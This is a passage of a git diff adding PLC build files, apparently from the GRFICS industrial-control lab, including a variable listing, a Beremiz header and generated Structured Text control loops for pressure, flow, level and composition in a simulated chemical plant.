+272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := 